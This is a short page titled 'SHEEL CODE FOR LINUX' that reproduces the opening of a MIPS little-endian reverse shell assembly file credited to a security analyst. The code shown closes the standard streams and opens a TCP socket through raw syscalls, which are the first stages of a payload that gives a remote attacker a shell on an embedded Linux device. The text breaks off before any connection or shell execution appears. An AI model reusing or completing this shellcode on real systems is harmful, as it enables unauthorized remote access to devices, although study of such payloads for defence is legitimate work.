SHEEL CODE FOR LINUX

# MIPS Little Endian Reverse Shell ASM File and Assembled Shellcode

# Written by Jacob Holcomb, Security Analyst @ Independent Security Evaluators

# Blog: http://infosec42.blogspot.com

# Company Website: http://securityevaluators.com

 

 

    .data

 

    .bss

 

    .text

 

    .globl _start

 

_start:

 

    #Close stdin(0)

    slti $a0, $zero, 0xFFFF

    li $v0, 4006

    syscall 0x42424

 

    #Close stdout(1)

    slti $a0, $zero, 0x1111

    li $v0, 4006

    syscall 0x42424

 

    #Close stderr(2)

    li $t4, 0xFFFFFFFD #-3

    not $a0, $t4

    li $v0, 4006

    syscall 0x42424

 

    #Socket Domain - AF_INET (2)

    li $t4, 0xFFFFFFFD #-3

    not $a0, $t4

    #Socket Type - SOCK_STREAM (2 for mips)

    not $a1, $t4

    #Socket Protocol - 0

    slti $a2, $zero, 0xFFFF

    #Call socket

    li $v0, 4183

    syscall 0x42424

 

 

 

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